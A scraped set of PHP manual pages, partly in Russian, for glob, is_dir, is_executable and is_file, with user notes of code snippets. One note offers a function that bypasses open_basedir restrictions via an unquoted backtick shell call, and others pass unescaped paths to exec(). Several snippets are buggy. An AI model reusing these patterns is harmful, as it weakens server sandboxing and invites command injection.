    if(!empty($FILE_LIST)){
        return $FILE_LIST;
    } else {
        die( "No files found!\n\n" );
    }
}

So....

$source_folder = "c:\temp\my_videos";
$ext = "flv"; // flash video files
$sec = "7200"; // files older than 2 hours
$limit = 2;

print_r(glob_files($source_folder, $ext, $sec, $limit));

Would return:

Array
(
    [0] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => fluffy_bunnies.flv
            [size] => 21160480
            [date] => 2007-10-30 16:48:05
        )

    [1] => Array
        (
            [path] => c:\temp\my_videos\
            [name] => synergymx.com.flv
            [size] => 14522744
            [date] => 2007-10-25 15:34:45
        )
eric at muyser dot com 11-Apr-2008 08:31
As a follow up to recursively determining all paths (by viajy at yoyo dot org) and opendir being faster than glob (by Sam Yong - hellclanner at live [dot] com).

The list all dirs code didn't seem to work, at least on my server (provided by parazuce [at] gmail [dot] com).

I needed a function to create an unlimited multidimensional array, with the names of the folders/files intact (no realpath's, although that is easily possible). This is so I can simply loop through the array, create an expandable link on the folder name, with all the files inside it.

This is the correct way to recurse I believe (no static, return small arrays to build up the multidimensional array), and includes a check for files/folders beginning with dots.

// may need modifications

function list_files($path)
{
    $files = array();

    if(is_dir($path))
    {
        if($handle = opendir($path))
        {
            while(($name = readdir($handle)) !== false)
            {
                if(!preg_match("#^\.#", $name))
                if(is_dir($path . "/" . $name))
                {
                    $files[$name] = list_files($path . "/" . $name);
                }
                else
                {
                    $files[] = $name;
                }
            }

            closedir($handle);
        }
    }

    return $files;
}

print_r(list_files("/path/to/folder"));

// example usage

function list_html($list)
{
    $html = "";

    foreach($list as $folder => $file)
    {
        if(is_array($list[$folder]))
        {
            $html .= "> (folder) " . $folder . "<br>";
            $html .= list_html($list[$folder]);
        }
        else
        {
            $html .= " (file) " . $file . "<br>";
        }
    }

    return $html;
}

echo list_html(list_files("/path/to/folder"));
parazuce [at] gmail [dot] com 30-Mar-2008 05:47
As a response to a post by viajy at yoyo dot org on 10-Feb-2007 04:50, he posted the following code:
<?php
function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}
?>

It is not best practice to use recursive functions like that, so I wrote a safe (non-recursive) function below:

<?php
function listdirs_safe($start)
{
    $dir  = $start;
    $dirs = array();
    $next = 0;

    while (true)
    {
        $_dirs = glob($dir.'/*', GLOB_ONLYDIR);

        if (count($_dirs) > 0)
        {
            foreach ($_dirs as $key => $_dir)
                $dirs[] = $_dir;
        }
        else
            break;

        $dir = $dirs[$next++];
    }

    return $dirs;
}
?>

Example:

print_r(listdirs_safe('*'));

Output:
Array
(
    [0] => Dummy folder/Dummy folder 2
    [1] => Dummy folder/Dummy folder 2/Dummy Folder 3
    [2] => Dummy folder/Dummy folder 2/Dummy Folder 3/4
    [3] => Dummy folder/Dummy folder 2/Dummy Folder 3/Dummy folder 4
    [4] => Dummy folder/Dummy folder 2/Dummy Folder 3/4/5
)
nataxia at gmail dot com 07-May-2007 04:05
Something I used to sort dir & subdir into array (multidimensional) reflecting dir structure.

    function getRecursiveFolderList($curDir,$currentA=false)
      {
        $dirs = glob($curDir . '/*', GLOB_ONLYDIR);

        $cur = 0;
        foreach($dirs as $dir)
          {
            $currentA[$cur]['path'] = $dir;
            $currentA[$cur] = $this->getRecursiveFolderList($dir,$currentA[$cur]);

            ++$cur;
          }

        return $currentA;
      }
alan at ridersite dot org 18-Mar-2007 11:26
A couple of notes:
glob() handles symbolic filesystem links and resolves references to './', '../'  nicely and handles an extra '/' character , at least on X-systems. e.g., glob("../*") will do next higher dir.

This is good to use so warnings or errors show as "../foo" and not your system's full path.

Several of the examples use a notation "*.*" when just plain "*" does the same thing.  The "*.*" notation is misleading as it implies foo.ext will not be found with "*" because the "." is not present.

Watch the flags must not be strings. They are defined constants. Thus,
glob("../*", GLOB_ONLYDIR)  works;
glob("../*", "GLOB_ONLYDIR")  does not.
viajy at yoyo dot org 10-Feb-2007 04:50
this is a recursive function i wrote to return an array of all subdirectories of a dir

function listdirs($dir) {
    static $alldirs = array();
    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
    if (count($dirs) > 0) {
        foreach ($dirs as $d) $alldirs[] = $d;
    }
    foreach ($dirs as $dir) listdirs($dir);
    return $alldirs;
}

example:
print_r(listdirs('/some/path'));
lesion at autistici dot org 04-Dec-2006 08:14
Maybe all of you still know this, but it seems that if the directory contains some unresolved symlink, glob() simply ignore those files.
torch at torchsdomain dot com 22-Nov-2006 12:25
Here is simple function that will find and remove all files (except "." ones) that match the expression ($match, "*" as wildcard) under starting directory ($path) and all other directories under it.

function rfr($path,$match){
   static $deld = 0, $dsize = 0;
   $dirs = glob($path."*");
   $files = glob($path.$match);
   foreach($files as $file){
      if(is_file($file)){
         $dsize += filesize($file);
         unlink($file);
         $deld++;
      }
   }
   foreach($dirs as $dir){
      if(is_dir($dir)){
         $dir = basename($dir) . "/";
         rfr($path.$dir,$match);
      }
   }
   return "$deld files deleted with a total size of $dsize bytes";
}
guilleva at gmail dot com 19-Oct-2006 08:54
In some systems (AIX for example) GLOB_BRACE isn't defined and you get the error:
glob() expects parameter 2 to be long, string given in /XX/XX.php

<?

foreach (glob("{*.pdf,*.PDF}",GLOB_BRACE ) as $filename) {
      echo "$filename \n";
}

?>

The method may help you in this case.

<?

foreach (array_merge(glob("*.pdf"),glob("*.PDF")) as $filename) {
      echo "$filename \n";
}

?>
joseph dot morphy at gmail dot com 16-Aug-2006 11:01
<?php
$html_array = glob("*.html");

function sort_by_mtime($file1,$file2) {
    $time1 = filemtime($file1);
    $time2 = filemtime($file2);
    if ($time1 == $time2) {
        return 0;
    }
    return ($time1 < $time2) ? 1 : -1;
    }

usort($html_array,"sort_by_mtime");
//$html_array is now ordered by the time it was last modified
?>
redcube at gmx dot de 14-Aug-2006 02:22
Please note that glob('*') ignores all 'hidden' files by default. This means it does not return files that start with a dot (e.g. ".file").
If you want to match those files too, you can use "{,.}*" as the pattern with the GLOB_BRACE flag.

<?php
// Search for all files that match .* or *
$files = glob('{,.}*', GLOB_BRACE);
?>

Note: This also returns the directory special entries . and ..
info at urbits dot com 06-Jan-2006 04:26
I have been working towards a CMS-type design that is both modular and quite flat. For example, included files are all one level below the installation folder.

glob() just help me get rid of a lot of opendir() hassle. I wasn't sure if the double asterix would work - but it's fine:

foreach (glob(SERVER_PATH."/*/includes/*.php") as $inc) {
   require($inc);
}
DMan 28-Aug-2005 12:59
Whilst on Windows, a path starting with a slash resolves OK for most file functions - but NOT glob.
If the server is LAUNCHED (or chdir()ed) to W:, then
file_exists("/temp/test.txt")
returns true for the file "W:/temp/test.txt".
But glob("/temp/*.txt") FAILS to find it!

A solution (if you want to avoid getting drive letters into your code) is to chdir() first, then just look for the file.
<?php
$glob="/temp/*.txt";
chdir(dirname($glob));
// getcwd() is now actually "W:\temp" or whatever

foreach (glob(basename($glob)) as $filename) {
   $filepath = dirname($glob)."/".$filename; // must re-attach full path
   echo "$filepath size " . filesize($filepath) . "\n";
}
?>

Note also, glob() IS case sensitive although most other file funcs on Windows are not.
NOSPAM sketch at infinite dot net dot au 14-Mar-2005 05:05
in the example below, i found i got an error if the directory was empty.

<?php
foreach (glob("*.txt") as $filename) {
   echo "$filename size " . filesize($filename) . "\n";
}
?>

I think its because glob()'ing an empty directory returns false, and so calling foreach (false as $value) will obviously break.

to fix this, i did the following:
<?php
$files = glob("*.txt) or array(); // give it an empty array if the directory is empty or glob fails otherwise
   echo "$filename size " . filesize($filename) . "\n";
}
?>

Hope this helps someone
23-Jan-2005 01:54
The example on this page will generate a warning if the glob function does not find any filenames that match the pattern.

The glob function result will only be an array if it finds some files and the foreach statement requires its argument to be an array.

By checking for the possibility that the result of the glob function may not be an array you can eliminate the warning.

Here's a better example:

<?php
$matches = glob("*.txt");
if ( is_array ( $matches ) ) {
   foreach ( $matches as $filename) {
      echo "$filename size " . filesize($filename) . "\n";
   }
}
?>


Определяет, является ли имя файла директорией

  • « glob
  • is_executable »
  • PHP Manual
  • Функции файловой системы
  • Определяет, является ли имя файла директорией

is_dir

(PHP 4, PHP 5, PHP 7, PHP 8)

is_dir — Определяет, является ли имя файла директорией

Описание

is_dir(string $filename): bool

Определяет, является ли имя файла директорией.

Список параметров

filename

Путь к файлу. Если filename является относительным именем, он будет проверяться относительно текущей рабочей директории. Если filename является символической или жёсткой ссылкой, то ссылка будет раскрыта и проверена. При включённом open_basedir могут применяться дальнейшие ограничения.

Возвращаемые значения

Возвращает true, если файл существует и является директорией, иначе возвращается false.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования функции is_dir()

<?php
var_dump(is_dir('a_file.txt'));
var_dump(is_dir('bogus_dir/abc'));

var_dump(is_dir('..')); // на одну директорию выше
?>

Результат выполнения данного примера:

bool(false)
bool(false)
bool(true)

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • chdir() - Изменяет каталог
  • dir() - Возвращает экземпляр класса Directory
  • opendir() - Открывает дескриптор каталога
  • is_file() - Определяет, является ли файл обычным файлом
  • is_link() - Определяет, является ли файл символической ссылкой

User Contributed Notes

musicmaster 07-May-2023 07:01
is_dir() doesn't work with a directory that has the name "0" (a single zero). Neither does realpath().

This is my experience with PHP 7.4.
jerome dot pros at gmail dot com 31-Jan-2019 08:40
Note that is_dir() also works with ftp://.

For example :

<?php
if(is_dir('ftp://user:pass@host/www/path/to/your/folder')) {
    // Your code.
}
?>

But note that if the connexion fails due to invalide credentials, this will consider that the folder doesn't exist and will return FALSE.
citizenmarco at gmail dot com 03-Jul-2016 05:25
Note that there quite a few articles on the net that imply that commands like is_dir, opendir, readdir cannot read paths with spaces.

On a linux box, THAT is not an issue.

Sample test code;

 $dir = "Images/Soma ALbum Name with spaces";

echo $dir."<br/>";

// Open a directory, and read its contents
if (is_dir($dir)){
  echo $dir."<br/>"; // will not appear if above fails
    if ($dh = opendir($dir)){
      echo $dir."<br/>"; // will not appear if above fails
      while (($file = readdir($dh)) !== false){
        echo "filename:" . $file . "<br>";
        echo $dir."<br/>"; // will not appear if above fails
      }
      closedir($dh);
    }
}
Bjrn K. 14-Mar-2016 03:17
Note that this functions follows symbolic links. It will return true if the file is actually a symlink that points to a directory.

An example:
<php
symlink(".", "testlink");
var_dump(is_dir("testlink"));
unlink("testlink");
?>

Prints out:
bool(true)

(Windows Note: Under recent versions of Windows you can set symlinks as long as you're administrator, but you cannot remove directory symlinks with "unlink()", you will have to use "rmdir testlink" from the shell to get rid of it.)
thomas at thomasnoest dot nl 15-Nov-2015 11:39
Note that on Linux is_dir returns FALSE if a parent directory does not have +x (executable) set for the php process.
jonlulf at gmail dot com 18-Sep-2015 02:26
My solution to the problem that you must include the full path to make "is_dir" work properly as a complete example:

    <? // findfiles.php  -  what is in directory "videoarchive"
    $dir    = 'images/videoarchive/'; // path from top
    $files = scandir($dir);
    $files_n = count($files);

    $i=0;
    while($i<=$files_n){
        // "is_dir" only works from top directory, so append the $dir before the file
        if (is_dir($dir.'/'.$files[$i])){
            $MyFileType[$i] = "D" ; // D for Directory
        } else{
            $MyFileType[$i] = "F" ; // F for File
        }
        // print itemNo, itemType(D/F) and itemname
        echo '<br>'.$i.'. '. $MyFileType[$i].'. ' .$files[$i] ;
        $i++;
    }
    ?>
niceuser at live dot com 10-Apr-2013 07:20
PITFALL in sub dir processing

After struggeling with a sub-dir processing (some subdirs were skipped) AND reading the posts, I realized that virutally no-one clearly told what were wrong.

The common traverse dir code was:
-----------------------------------------

opendir("myphotos"); // Top dir to process from (example)

while (false !== ($fname = readdir($h_dir))) { // process current dir (read a directory entry)

   if ($fname{0} == '.') continue; // skip dirs . and .. by first char test

   if (is_dir($fname)) call_own_subdir_process;  // process this subdir by calling a routine

   }

PROBLEM IS :

The "is_dir()" must have the FULL PATH or it will skip some dirs. So the above code need to INSERT THE PATH before the filename. This would give this change in above...

   if (is_dir("myphotos\" . $fname)) call_own_subdir_process;  // skip subdirs

The pitfall really was, that without full path some subdirs were found...hope this clears all up
Victor 13-Mar-2013 03:37
If you are using Mac, or others systems that store information about the directory layout and etc, the function:

   function empty_dir($dir) {
        if (($files = @scandir($dir)) && count($files) <= 3)
            return true;
        else
            return false;
    }

Must have the count($files) comparing with the number of hidden files!

For example, I'm using Mac and the empty directory shows me three files: ".", ".." and ".DS_Store", so if I am planning to put the website online on my Mac, I've to count in the ".DS_Store" file!
digitalaudiorock at gmail dot com 09-Jun-2010 12:48
Just a note for anyone who encounters is_dir() returning false on CIFS mount points or directories within those mount points on 2.6.31 and newer kernels: Apparently in new kernels they've started using the CIFS serverino option by default.  With Windows shares this causes huge inode numbers and which apparently can cause is_dir() to return false.  Adding the noserverino option to the CIFS mount will prevent this.  This may only occur on 32 systems but I don't have a 64 bit install to test against.
vstoykov at consultant dot bg 23-Apr-2009 03:43
When trying (no 'pear') to enumerate mounted drives on a win32  platform (Win XP SP3, Apache/2.2.11, PHP/5.2.9), I used:

<?php
function echo_win_drives() {

  for($c='A'; $c<='Z'; $c++)
    if(is_dir($c . ':'))
      echo $c . ': ';
}
?>

which yielded:
A: C: D: E: F: G: H: I:
alanguir at detroitchamber dot com 28-Jan-2009 09:02
When I run a scandir I always run a simple filter to account for file system artifacts (especially from a simple ftp folder drop) and the "." ".." that shows up in every directory:

<?php
    if (is_dir($folder){
        $contents = scandir($folder);
        $bad = array(".", "..", ".DS_Store", "_notes", "Thumbs.db");
        $files = array_diff($contents, $bad);
    }
?>
Btx 26-Sep-2008 03:03
<?php
public static function isEmptyDir($dir){
     return (($files = @scandir($dir)) && count($files) <= 2);
}
?>

better ;)
jasoneisen at gee mail 29-Aug-2008 08:53
An even better (PHP 5 only) alternative to "Davy Defaud's function":

<?php
function is_empty_dir($dir)
{
    if (($files = @scandir($dir)) && count($files) <= 2) {
        return true;
    }
    return false;
}
?>

NOTE: you should obviously be checking beforehand if $dir is actually a directory, and that it is readable, as only relying on this you would assume that in both cases you have a non-empty readable directory.
Anonymous 17-Dec-2007 11:51
One note regarding checking for empty directories :
>>echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
This does not work correctly on Linux.
The '.' and '..' will always be returned even if no files are present in the directory.
danr at cvisual dot com dot com 18-Jul-2007 02:54
Running PHP 5.2.0 on Apache Windows, I had a problem (likely the same one as described by others) where is_dir returned a False for directories with certain permissions even though they were accessible.

Strangely, I was able to overcome the problem with a more complete path. For example, this only displays "Works" on subdirectories with particular permissions (in this directory about 1 out of 3):

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        if(is_dir($f)) {
            echo "<b>Works:" . $f . "</b>";
        }
}

However, this works properly for all directories:

$d = opendir("./albums/mydir");
while(false !== ($f = readdir($d))) {
    echo "<hr />";
        $dName = "./albums/mydir/" . $f;
        if(is_dir($dName)) {
            echo "<b>Works:" . $dName . "</b>";
        }
}

I don't understand the hit-and-miss of the first code, but maybe the second code can help others having this problem.
gecko4 at gmail dot com 24-Feb-2007 09:03
Here is another way to test if a directory is empty, which I think is much simpler than those posted below:

<?php
$dir = 'directory';
echo (count(glob("$dir/*")) === 0) ? 'Empty' : 'Not empty';
?>
Eric 24-Oct-2006 01:53
Ah ha!  Maybe this is a bug, or limitation to be more precise, of php. See http://bugs.php.net/bug.php?id=27792

A workaround is posted on the page (above) and seems to work for me:

function is_dir_LFS($path){
  return (('d'==substr(exec("ls -dl '$path'"),0,1))?(true):(false));
}

PS: I'm using PHP 4.3.10-16, posts report this problem up to 5.0
puremango dot co dot uk at gmail dot com 08-Feb-2005 11:55
this function bypasses open_basedir restrictions.
<?
function my_is_dir($dir)
{
    // bypasses open_basedir restrictions of is_dir and fileperms
    $tmp_cmd = `ls -dl $dir`;
    $dir_flag = $tmp_cmd[0];
    if($dir_flag!="d")
    {
        // not d; use next char (first char might be 's' and is still directory)
        $dir_flag = $tmp_cmd[1];
    }
    return ($dir_flag=="d");
}
?>

example:
<?
....
echo is_dir("/somewhere/i/dont/have/access/to");
?>
output:
Warning: open_basedir restriction in effect

<?
....
echo my_is_dir("/somewhere/i/dont/have/access/to");
?>
output:
true (or false, depending whether it is or not...)

---
visit puremango.co.uk for other such wonders
02-Feb-2005 04:12
Unfortunately, the function posted by p dot marzec at bold-sg dot pl does not work.
The corrected version is:

// returns true if folder is empty or not existing
// false if folde is full

function is_empty_folder($dir) {
if (is_dir($dir)) {
   $dl=opendir($dir);
   if ($dl) {
       while($name = readdir($dl)) {
   if (!is_dir("$dir/$name")) { //<--- corrected here
       return false;
       break;
       }
   }
       closedir($dl);
       }
   return true;
   } else return true;
}
tibard at gmail dot com 01-Feb-2005 12:32
use this function to get all files inside a directory (including subdirectories)

<?php
function scan_Dir($dir) {
    $arrfiles = array();
    if (is_dir($dir)) {
        if ($handle = opendir($dir)) {
            chdir($dir);
            while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != "..") {
                    if (is_dir($file)) {
                        $arr = scan_Dir($file);
                        foreach ($arr as $value) {
                            $arrfiles[] = $dir."/".$value;
                        }
                    } else {
                        $arrfiles[] = $dir."/".$file;
                    }
                }
            }
            chdir("../");
        }
        closedir($handle);
    }
    return $arrfiles;
}

?>
sly at noiretblanc dot org 28-May-2004 10:10
This is the "is_dir" function I use to solve the problems :

function Another_is_dir ($file)
{
    if ((fileperms("$file") & 0x4000) == 0x4000)
        return TRUE;
    else
        return FALSE;
}

or, more simple :

function Another_is_dir ($file)
{
return ((fileperms("$file") & 0x4000) == 0x4000);
}

I can't remember where it comes from, but it works fine.


Определяет, является ли файл исполняемым

  • « is_dir
  • is_file »
  • PHP Manual
  • Функции файловой системы
  • Определяет, является ли файл исполняемым

is_executable

(PHP 4, PHP 5, PHP 7, PHP 8)

is_executable — Определяет, является ли файл исполняемым

Описание

is_executable(string $filename): bool

Определяет, является ли файл исполняемым.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает true, если файл существует и является исполняемым, или false в случае возникновения ошибки. В POSIX-системах файл является исполняемым, если установлен исполняемый бит прав доступа к файлу. Для Windows смотрите примечание ниже.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования функции is_executable()

<?php

$file = '/home/vincent/somefile.sh';

if (is_executable($file)) {
echo $file.' является исполняемым';
} else {
echo $file.' не является исполняемым';
}

?>

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Замечание: В Windows файл считается исполняемым, если это по-настоящему исполняемый файл, как сообщает Win API GetBinaryType(); Для обратной совместимости файлы с расширением .bat или .cmd также считаются исполняемыми. До PHP 7.4.0 любой непустой файл с расширением .exe или .com считался исполняемым. Обратите внимание, что PATHEXT не имеет отношения к is_executable().

Смотрите также

  • is_file() - Определяет, является ли файл обычным файлом
  • is_link() - Определяет, является ли файл символической ссылкой

User Contributed Notes

Anonymous 30-Sep-2020 02:41
Under windows, it seems to returns always false for directories.

I.e

<?php
$dir = __DIR__;
$result = is_executable($dir) ? 'true' : 'false';

if($result){
  echo $result;
}
?>

So do NOT use this to check if a folder is transversable because it will be system dependant code.
nick at NOSPAM dot ogredata dot com 29-Jan-2020 06:33
This function returns the value for the process PHP is executing under.

/var/somebody/files was only executable by owner (700).

It contained world-readable files, but without execute permission, PHP could not access the directory to download the files.

is_executable() returned false.

Making the dir world-executable (701) gave access to PHP.  The download worked. And is_executable() returned true.

I assume that if I added PHP to the group of the folder and gave the group executable permission, that would also work.
divinity76 at gmail dot com 24-May-2019 09:41
is_executable() does not check the PATH environment variable, so if your current working dir is /dir/ and you have /bin/ in your PATH env and the file /bin/ffmpeg exists, then you can still run shell_exec("ffmpeg"), but is_executable("ffmpeg") will return false.

if you're looking for a version of is_executable that also considers the PATH environment variable, then try this:

<?php

function is_executable_pathenv(string $filename): bool
{
    if (is_executable($filename)) {
        return true;
    }
    if ($filename !== basename($filename)) {
        return false;
    }
    $paths = explode(PATH_SEPARATOR, getenv("PATH"));
    foreach ($paths as $path) {
        if (is_executable($path . DIRECTORY_SEPARATOR . $filename)) {
            return true;
        }
    }
    return false;
}
telezhkin at gmail dot com 01-May-2019 11:03
Find no mention of this, but is_executable returns result for owner permissions only (not for group or other).
Shyammakwana.me 06-Aug-2016 06:38
For windows users,

It will return TRUE for EXE extensions. I have checked for MSI, but it returns FALSE.


Определяет, является ли файл обычным файлом

  • « is_executable
  • is_link »
  • PHP Manual
  • Функции файловой системы
  • Определяет, является ли файл обычным файлом

is_file

(PHP 4, PHP 5, PHP 7, PHP 8)

is_file — Определяет, является ли файл обычным файлом

Описание

is_file(string $filename): bool

Определяет, является ли файл обычным файлом.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает true, если файл существует и является обычным файлом, иначе возвращает false.

Замечание: Так как тип integer в PHP является целым числом со знаком, и многие платформы используют 32-х битные целые числа, то некоторые функции файловых систем могут возвращать неожиданные результаты для файлов размером больше 2 Гб.

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Примеры

Пример #1 Пример использования is_file()

<?php
var_dump(is_file('a_file.txt')) . "\n";
var_dump(is_file('/usr/bin/')) . "\n";
?>

Результат выполнения данного примера:

bool(true)
bool(false)

Примечания

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • is_dir() - Определяет, является ли имя файла директорией
  • is_link() - Определяет, является ли файл символической ссылкой
  • SplFileInfo

User Contributed Notes

samuel at jch-optimize dot net 29-Jul-2022 05:10
Note also that if is_file(), (and also is_dir()), will return false if you have the open_basedir configuration set and the file (or directory) is not in one of the configured locations.

Essentially as the other notes offer, if you don't have permissions to access the file or dir these functions return false but this is also another use case that one may overlook.
alex at magemore dot com 08-Sep-2016 03:08
it doesn't work for file over 8Gb. returns false when there actually a file.
it's probably connected to 32bit integer problem and filesize
www.ip4t.net - abdelrahman nourallah 04-Dec-2015 11:37
sometimes this function does not work because permission ,

you can use this function that check if the path has dot in last will return true .

public function isFile($file) {
        $f = pathinfo($file, PATHINFO_EXTENSION);
        return (strlen($f) > 0) ? true : false;
    }

isfile('http://www.ip4t.net/image.jpg');

you should replace a string between '' with your file path to check
Anonymous 02-Mar-2014 09:13
Please be aware wildcards do not work as one might expect.

<?php
$file = '*.*';

if ( is_file($file) ) {
  echo( $file . ' is a regular file' );
} else {
  echo( $file . ' is not a regular file' );
}
?>

The above snippet suggests that *.* is a regular file. It does not sound regular to me. I would expect is_file() to return FALSE.
sarken at free dot fr 13-Aug-2013 04:42
I see, is_file not work properly on specifical file in /dev (linux)
look :

root@boofh:/data# php -r "var_dump(is_file('/dev/core'));"
bool(true)
root@boofh:/data# php -r "var_dump(is_file('/proc/kcore'));"
bool(true)

root@boofh:/data# ls -alh /proc/kcore
-r-------- 1 root root 128T Aug 13 18:39 /proc/kcore

OR FIND do not detect regular file.
root@boofh:/data# find /dev/ -type f
root@boofh:/data#

// version of php :
root@boofh:/data# php -v
PHP 5.4.4-14+deb7u3 (cli) (built: Jul 17 2013 14:54:08)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
david at bruchmann-web dot de 10-May-2013 05:36
Today I got the in the comments already described behaviour that between directory and file can't be distinguished by is_file() or is_dir().
A dirty and incomplete hack is below, incomplete because it never includes links and I never tested what happens when a directory is not allowed to be read.

$items = scandir($dir);
foreach ($items as $item){
    if ($item!='.' && $item!='..'){
        $deep = @scandir($dir.'/'.$item);
        echo ($deep ? '[DIR] ':'[FILE] '.$item.nl2br(PHP_EOL);
    }
}
Anonymous 06-Feb-2012 07:44
Note that is_file() returns false if the parent directory doesn't have +x set for you; this make sense, but other functions such as readdir() don't seem to have this limitation. The end result is that you can loop through a directory's files but is_file() will always fail.
Anonymous 18-Jun-2011 11:47
is_file doesn't recognize files whose filenames contain strange characters like czech u or russian characters in general.

I've seen many scripts that take it for granted that a path is a directory when it fails is_file($path). When trying to determine whether a path links to a file or a dir, you should always use is_dir after getting false from is_file($path). For cases like described above, both will fail.
don dot duvall at deduvall dot com 11-Sep-2009 02:55
I have noticed that using is_file on windows servers (mainly for development) to use a full path c:\ doesn't always work.

I have had to use
C:/foldertowww/site/file.ext

so I preform an str_replace('\\', '/', $path)
Sometimes I have had the \ instead of / work. (this is using apache2 on XP)

but for sure you cannot have mixed separators.
ca dot redwood at gmail dot com 23-Apr-2009 12:24
this is a simple way to find specific files instead of using is_file().
this example is made for mac standards, but easily changed for pc.

<?php
function isfile($file){
    return preg_match('/^[^.^:^?^\-][^:^?]*\.(?i)' . getexts() . '$/',$file);
    //first character cannot be . : ? - subsequent characters can't be a : ?
    //then a . character and must end with one of your extentions
    //getexts() can be replaced with your extentions pattern
}

function getexts(){
    //list acceptable file extensions here
    return '(app|avi|doc|docx|exe|ico|mid|midi|mov|mp3|
                 mpg|mpeg|pdf|psd|qt|ra|ram|rm|rtf|txt|wav|word|xls)';
}

echo isfile('/Users/YourUserName/Sites/index.html');
?>
Kevin Gregull 13-Nov-2008 08:14
This Function deletes everything in a defined Folder:
Works with PHP 4 and 5.

<?php
  function deletefolder($path)
  {
    if ($handle=opendir($path))
    {
      while (false!==($file=readdir($handle)))
      {
        if ($file<>"." AND $file<>"..")
        {
          if (is_file($path.'/'.$file))
          {
            @unlink($path.'/'.$file);
          }
          if (is_dir($path.'/'.$file))
          {
            deletefolder($path.'/'.$file);
            @rmdir($path.'/'.$file);
          }
        }
      }
    }
  }
?>
rigrace at swbell dot net 09-Oct-2008 09:48
It took me a day or so to figure out that is_file() actually looks for a valid $ existing path/file in string form. It is not performing a pattern-like test on the parameter given. Its testing to see if the given parameter leads to a specific  existing 'name.ext' or other (non-directory) file type object.
sy well-known-sign damla.net 23-Mar-2008 04:23
In 32 bit environments, these functions including is_file(), stat() filesize() will not work due to PHPs default integer being signed. So anything above ~2.1 billion bytes you actually get a negative value.

This is actually a bug but I dont think there is an easy workaround. Try to switch to 64 bit.
gizmo at gizmo dot sk 22-Feb-2008 01:50
here is a workaround for the file size limit. uses bash file testing operator, so it may be changed to test directories etc.  (see http://tldp.org/LDP/abs/html/fto.html for possible test operators)

<?php
function is_file_lfs($path){
    exec('[ -f "'.$path.'" ]', $tmp, $ret);
    return $ret == 0;
}
?>
cristian dot ban at neobytesolutions com 27-Jun-2007 01:46
regarding note from rehfeld dot us :

In my experience the best( and easiest ) way to find the extension of a file is :

<?php

// use this when you are sure it actually has an extension.
$extension = end(explode(".", $file_name));

?>

or

<?php

// this one will also check if it actually has an extension
$parts = explode(".", $file_name);
if (is_array($parts) && count($parts) > 1)
    $extension = end($parts);

?>
tatarynowicz at gmail dot com 17-Oct-2006 07:35
An easy way not to have to choose between hard-coding full paths and using relative paths is either via this line:

<?php
// in the bootstrap file
define('DIR_ROOT', dirname(__FILE__));
// in other files, prefix paths with the constant
require(DIR_ROOT . '/relative/to/bootstrap.php');
?>

or if you have to use a relative path:

<?php
require(dirname(__FILE__) . '/relative/to/this_file.php');
?>

This way all your paths will be absolute, yet you can move the application anywhere in the filesystem.

BTW, each successive call to dirname takes you one step up in the directory tree.

<?php
echo __FILE__;
// /www/site.com/public/index.php
echo dirname(__FILE__);
// /www/site.com/public
echo dirname(dirname(__FILE__));
// /www/site.com
?>
Jonathan Shaltz 14-Oct-2005 10:23
Maybe this is a newbie mistake, but note that paths are relative to the filesystem and the location of the script.  This means that MS IIS virtual directories are not available by relative path - use an absolute.
This threw me because virtual directories ARE available for URLs, at least on IIS.
bill fumerola 30-Aug-2005 06:45
be careful, is_file() fails on files larger than your integer storage (2^32 for most).

Warning: is_file(): Stat failed for bigfile (errno=75 - Value too large for defined data type)
08-Mar-2005 09:02
### Symbolic links are resolved ###

If you pass a symlink (unix symbolic link) as parameter, is_file will resolve the symlink and will give information about the refered file. For example:

  touch file
  ln -s file link
  echo '<? if (is_file("link")) echo "y\n"; ?>' | php -q

will print "y".

is_dir resolves symlinks too.
ludvig dot ericson at gmail dot com 25-Oct-2004 11:06
I tend to use alot of includes, and I found that the is_file is based on the script executed, not ran.
if you request /foo.php and foo.php looks like this:
<?php
include('foobar/bar.php');
?>
and bar.php looks like this:
<?php
echo (is_file('foo/bar.txt'));
?>

Then PHP (on win32, php 5.x) would look for /foo/bar.txt and not /foobar/foo/bar.txt.
you would have to rewrite the is_file statement for that, or change working directory.
Noting this since I sat with the problem for some time,

cheers, Toxik.
rehfeld.us 03-Sep-2004 03:04
regarding rlh at d8acom dot com method,

It is incorrect. Well, it works but you are not guaranteed the file extension using that method.

for example :   filename.inc.php

your method will tell you the ext is "inc", but it is in fact "php"

heres a way that will work properly.

<?php

$dh = opendir($dir);

while (false !== ($document = readdir($dh))) {
    $pos = strrpos($document, '.');
    if (false !== $pos && strlen($document) > $pos + 1) {
        $ext = substr($document, $pos + 1);
    }
}

?>
rlh at d8acom dot com 12-Feb-2003 05:17
I do a lot of file parsing and have found the following technique extremely useful:

while (false !== ($document = readdir($my_dir)))
{
    $ext=explode('.',$document);
